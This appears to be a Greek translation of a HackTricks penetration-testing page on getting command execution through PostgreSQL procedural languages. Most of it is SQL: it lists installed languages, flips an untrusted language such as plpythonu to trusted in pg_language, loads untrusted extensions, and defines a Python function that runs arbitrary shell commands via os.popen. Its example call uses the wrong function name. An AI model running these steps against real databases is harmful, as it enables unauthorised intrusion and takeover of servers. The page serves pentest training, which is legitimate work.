RCE with PostgreSQL Languages

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Γλώσσες του PostgreSQL

Η βάση δεδομένων PostgreSQL στην οποία αποκτήσατε πρόσβαση μπορεί να έχει εγκατεστημένες διάφορες γλώσσες προγραμματισμού που μπορείτε να καταχραστείτε για να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να τις εκτελέσετε:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Οι περισσότερες γλώσσες προγραμματισμού που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν 2 εκδόσεις: η αξιόπιστη και η μη αξιόπιστη. Η μη αξιόπιστη θα έχει ένα όνομα που τελειώνει σε "u" και θα είναι η έκδοση που θα σας επιτρέπει να εκτελέσετε κώδικα και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι ορισμένες από τις γλώσσες που είναι ενδιαφέρουσες αν εγκατασταθούν:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού χρησιμοποιεί μια μη ασφαλή έκδοση)

Αν ανακαλύψετε ότι μια ενδιαφέρουσα γλώσσα είναι εγκατεστημένη αλλά μη αξιόπιστη από το PostgreSQL (lanpltrusted είναι false), μπορείτε να προσπαθήσετε να την εμπιστευτείτε με την παρακάτω γραμμή, ώστε να μην εφαρμοστούν περιορισμοί από το PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Αν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να τη φορτώσετε με (πρέπει να είστε superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Σημείωση ότι είναι δυνατόν να μεταγλωττίσετε τις ασφαλείς εκδόσεις ως "ανασφαλείς". Ελέγξτε αυτό για παράδειγμα. Έτσι, αξίζει πάντα να δοκιμάσετε να εκτελέσετε κώδικα, ακόμα κι αν βρείτε μόνο την εγκατεστημένη αξιόπιστη έκδοση.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Ελέγξτε την παρακάτω σελίδα:

pagePL/pgSQL Password Bruteforce

C

Ελέγξτε την παρακάτω σελίδα:

pageRCE with PostgreSQL Extensions
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated